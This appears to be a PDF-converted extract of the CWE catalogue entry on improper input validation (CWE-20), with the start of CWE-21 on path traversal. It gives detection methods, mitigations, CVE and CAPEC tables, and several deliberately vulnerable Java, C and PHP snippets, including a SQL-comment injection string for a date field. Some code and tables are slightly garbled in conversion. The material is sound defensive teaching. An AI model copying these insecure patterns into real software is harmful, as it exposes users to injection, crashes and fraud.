  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer
Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Attack Modeling

Demonstrative Examples
Example 1:
This example demonstrates a shopping interaction in which the user is free to specify the quantity
of items to be purchased and a total is calculated.
Java Example:

```java
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
```

The user has no control over the price variable, however the code does not prevent a negative
value from being specified for quantity. If an attacker were to provide a negative value, then the
user would have their account credited instead of debited.

Example 2:
This example asks the user for a height and width of an m X n game board with a maximum
dimension of 100 squares.
C Example:

```c
#define MAX_DIM 100

/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
  die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
  die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
  die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
```

While this code checks to make sure the user cannot specify large, positive integers and consume
too much memory, it does not check for negative values supplied by the user. As a result, an
attacker can perform a resource consumption (CWE-400) attack against this program by specifying
two, large negative values that will not overflow, resulting in a very large memory allocation
(CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative
values which will cause an integer overflow (CWE-190) and unexpected behavior will follow
depending on how the values are treated in the remainder of the program.

Example 3:
The following example shows a PHP application in which the programmer attempts to display a
user's birthday and homepage.
PHP Example:

```php
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with `<script>` tags providing the values for birthday and/or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

```
Attack
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism. Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

**Example 4:**

This function attempts to extract a pair of numbers from a user-supplied string.

**C Example:**

```c
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!
    } /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

**Example 5:**

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

**Java Example:**

```java
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

**Example 6:**

This application has registered to handle a URL when sent an intent:
Java Example:

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL"); MyReceiver receiver = new MyReceiver(); registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-3790</td>
<td>size field that is inconsistent with packet size leads to buffer over-read</td>
</tr>
<tr>
<td>CVE-2006-5462</td>
<td>use of extra data in a signature allows certificate signature forging</td>
</tr>
<tr>
<td>CVE-2006-5525</td>
<td>incomplete blacklist allows SQL injection</td>
</tr>
<tr>
<td>CVE-2006-6658</td>
<td>request with missing parameters leads to information exposure</td>
</tr>
<tr>
<td>CVE-2006-6870</td>
<td>infinite loop from DNS packet with a label that points to itself</td>
</tr>
<tr>
<td>CVE-2007-2442</td>
<td>zero-length input causes free of uninitialized pointer</td>
</tr>
<tr>
<td>CVE-2007-3409</td>
<td>infinite loop from DNS packet with a label that points to itself</td>
</tr>
<tr>
<td>CVE-2007-5893</td>
<td>HTTP request with missing protocol version number leads to crash</td>
</tr>
<tr>
<td>CVE-2008-0600</td>
<td>kernel does not validate an incoming pointer before dereferencing it</td>
</tr>
<tr>
<td>CVE-2008-1303</td>
<td>missing parameter leads to crash</td>
</tr>
<tr>
<td>CVE-2008-1440</td>
<td>lack of validation of length field leads to infinite loop</td>
</tr>
<tr>
<td>CVE-2008-1625</td>
<td>lack of validation of input to an IOCTL allows code execution</td>
</tr>
<tr>
<td>CVE-2008-1737</td>
<td>anti-virus product allows DoS via zero-length field</td>
</tr>
<tr>
<td>CVE-2008-1738</td>
<td>anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution</td>
</tr>
<tr>
<td>CVE-2008-2223</td>
<td>SQL injection through an ID that was supposed to be numeric.</td>
</tr>
<tr>
<td>CVE-2008-2252</td>
<td>kernel does not validate parameters sent in from userland, allowing code execution</td>
</tr>
<tr>
<td>CVE-2008-2309</td>
<td>product uses a blacklist to identify potentially dangerous content, allowing attacker to bypass a warning</td>
</tr>
<tr>
<td>CVE-2008-2374</td>
<td>lack of validation of string length fields allows memory consumption or buffer over-read</td>
</tr>
<tr>
<td>CVE-2008-3174</td>
<td>driver in security product allows code execution due to insufficient validation</td>
</tr>
<tr>
<td>CVE-2008-3177</td>
<td>zero-length attachment causes crash</td>
</tr>
<tr>
<td>CVE-2008-3464</td>
<td>driver does not validate input from userland to the kernel</td>
</tr>
<tr>
<td>CVE-2008-3477</td>
<td>lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.</td>
</tr>
<tr>
<td>CVE-2008-3494</td>
<td>security bypass via an extra header</td>
</tr>
<tr>
<td>CVE-2008-3571</td>
<td>empty packet triggers reboot</td>
</tr>
<tr>
<td>CVE-2008-3660</td>
<td>crash via multiple &quot;.&quot; characters in file extension</td>
</tr>
<tr>
<td>CVE-2008-3680</td>
<td>packet with invalid version number leads to NULL pointer dereference</td>
</tr>
<tr>
<td>CVE-2008-3812</td>
<td>router crashes with a malformed packet</td>
</tr>
<tr>
<td>CVE-2008-3843</td>
<td>insufficient validation enables XSS</td>
</tr>
<tr>
<td>CVE-2008-4114</td>
<td>system crash with offset value that is inconsistent with packet size</td>
</tr>
<tr>
<td>CVE-2008-5285</td>
<td>infinite loop from a long SMTP request</td>
</tr>
<tr>
<td>CVE-2008-5305</td>
<td>Eval injection in Perl program using an ID that should only contain hyphens and numbers.</td>
</tr>
<tr>
<td>CVE-2008-5563</td>
<td>crash via a malformed frame structure</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Input Validation
Libraries or Frameworks
Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design
Implementation
Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Implementation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Implementation
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699 18</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>1000 30</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>1000 73</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>474</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>1000 113</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>1000 226</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000 1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734 1135</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734 1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>734 1139</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734 1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750 1145</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868 1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868 1318</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868 1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888 1396</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1005</td>
<td>Input Validation and Representation</td>
<td>700 1417</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>15</td>
<td>External Control of System or Configuration Setting</td>
<td>700 14</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>21</td>
<td>Pathname Traversal and Equivalence Errors</td>
<td>699 29</td>
</tr>
</tbody>
</table>
## CWE-20: Improper Input Validation

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>112</td>
<td>Missing XML Validation</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>114</td>
<td>Process Control</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>622</td>
<td>Improper Validation of Function Hook Arguments</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>680</td>
<td>Integer Overflow to Buffer Overflow</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>692</td>
<td>Incomplete Blacklist to Cross-Site Scripting</td>
<td>699</td>
</tr>
</tbody>
</table>
### CWE-20: Improper Input Validation

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
<td>1000</td>
</tr>
</tbody>
</table>

### Relationship Notes

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name “O’Reilly” would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the ‘’ apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Research Gaps

There is not much research into the classification of input validation techniques and their application. Many publicly-disclosed vulnerabilities simply characterize a problem as "input validation" without providing more specific details that might contribute to a deeper understanding of validation techniques and the weaknesses they can prevent or reduce. Validation is over-emphasized in contrast to other neutralization techniques such as filtering and enforcement by conversion. See the vulnerability theory paper.

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Input validation and representation Unvalidated Input</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>ERR07-C</td>
<td></td>
<td>Prefer functions that support error checking over equivalent functions that don't</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT06-C</td>
<td></td>
<td>Use strtol() or a related function to convert a string token to an integer</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM10-C</td>
<td></td>
<td>Define and use a pointer validation function</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC08-C</td>
<td></td>
<td>Library functions should validate their parameters</td>
</tr>
<tr>
<td>WASC</td>
<td>20</td>
<td></td>
<td>Improper Input Handling</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT06-CPP</td>
<td>Use strtol() or a related function to convert a string token to an integer</td>
<td></td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM10-CPP</td>
<td>Define and use a pointer validation function</td>
<td></td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC08-CPP</td>
<td>Functions should validate their parameters</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td></td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading ‘Ghost’ Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
</tr>
<tr>
<td>8</td>
<td>Buffer Overflow in an API Call</td>
</tr>
<tr>
<td>9</td>
<td>Buffer Overflow in Local Command-Line Utilities</td>
</tr>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
</tr>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
</tr>
<tr>
<td>14</td>
<td>Client-side Injection-induced Buffer Overflow</td>
</tr>
<tr>
<td>22</td>
<td>Exploiting Trust in Client</td>
</tr>
<tr>
<td>24</td>
<td>Filter Failure through Buffer Overflow</td>
</tr>
<tr>
<td>28</td>
<td>Fuzzing</td>
</tr>
</tbody>
</table>
## CWE-20: Improper Input Validation

### CAPEC-IDs and Attack Pattern Names

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
<td></td>
</tr>
<tr>
<td>42</td>
<td>MIME Conversion</td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
<td></td>
</tr>
<tr>
<td>46</td>
<td>Overflow Variables and Tags</td>
<td></td>
</tr>
<tr>
<td>47</td>
<td>Buffer Overflow via Parameter Expansion</td>
<td></td>
</tr>
<tr>
<td>52</td>
<td>Embedding NULL Bytes</td>
<td></td>
</tr>
<tr>
<td>53</td>
<td>Postfix, Null Terminate, and Backslash</td>
<td></td>
</tr>
<tr>
<td>63</td>
<td>Cross-Site Scripting (XSS)</td>
<td></td>
</tr>
<tr>
<td>64</td>
<td>Using Slashes and URL Encoding Combined to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>66</td>
<td>SQL Injection</td>
<td></td>
</tr>
<tr>
<td>67</td>
<td>String Format Overflow in syslog()</td>
<td></td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>72</td>
<td>URL Encoding</td>
<td></td>
</tr>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
<td></td>
</tr>
<tr>
<td>78</td>
<td>Using Escaped Slashes in Alternate Encoding</td>
<td></td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
<td></td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
<td></td>
</tr>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
<td></td>
</tr>
<tr>
<td>83</td>
<td>XPath Injection</td>
<td></td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
<td></td>
</tr>
<tr>
<td>88</td>
<td>OS Command Injection</td>
<td></td>
</tr>
<tr>
<td>99</td>
<td>XML Parser Attack</td>
<td></td>
</tr>
<tr>
<td>101</td>
<td>Server Side Include (SSI) Injection</td>
<td></td>
</tr>
<tr>
<td>104</td>
<td>Cross Zone Scripting</td>
<td></td>
</tr>
<tr>
<td>108</td>
<td>Command Line Execution through SQL Injection</td>
<td></td>
</tr>
<tr>
<td>109</td>
<td>Object Relational Mapping Injection</td>
<td></td>
</tr>
<tr>
<td>110</td>
<td>SQL Injection through SOAP Parameter Tampering</td>
<td></td>
</tr>
<tr>
<td>135</td>
<td>Format String Injection</td>
<td></td>
</tr>
<tr>
<td>136</td>
<td>LDAP Injection</td>
<td></td>
</tr>
<tr>
<td>182</td>
<td>Flash Injection</td>
<td></td>
</tr>
<tr>
<td>209</td>
<td>XSS Using MIME Type Mismatch</td>
<td></td>
</tr>
<tr>
<td>230</td>
<td>XML Nested Payloads</td>
<td></td>
</tr>
<tr>
<td>231</td>
<td>XML Oversized Payloads</td>
<td></td>
</tr>
<tr>
<td>250</td>
<td>XML Injection</td>
<td></td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
<td></td>
</tr>
<tr>
<td>473</td>
<td>Signature Spoof</td>
<td></td>
</tr>
<tr>
<td>484</td>
<td>XML Client-Side Attack</td>
<td></td>
</tr>
<tr>
<td>588</td>
<td>DOM-Based XSS</td>
<td></td>
</tr>
<tr>
<td>591</td>
<td>Reflected XSS</td>
<td></td>
</tr>
<tr>
<td>592</td>
<td>Stored XSS</td>
<td></td>
</tr>
</tbody>
</table>

### References


### Maintenance Notes
Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

CWE-21: Pathname Traversal and Equivalence Errors

**Category ID:** 21 (Category)  
**Status:** Incomplete

**Description**

**Summary**
Weaknesses in this category can be used to access files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence).

**Extended Description**
Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered. The manipulations generally involve special characters or sequences in pathnames, or the use of alternate references or channels.

**Applicable Platforms**

**Languages**
- All

**Potential Mitigations**

**Implementation**

**Input Validation**
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "./" sequences are removed from the "/./.../" string in a sequential fashion, two instances of "./" would be removed from the original string, but the remaining characters would still form the "./" string.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Path Traversal')</td>
<td>1003</td>
</tr>
</tbody>
</table>

CWE-21: Pathname Traversal and Equivalence Errors
CWE Version 2.11
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

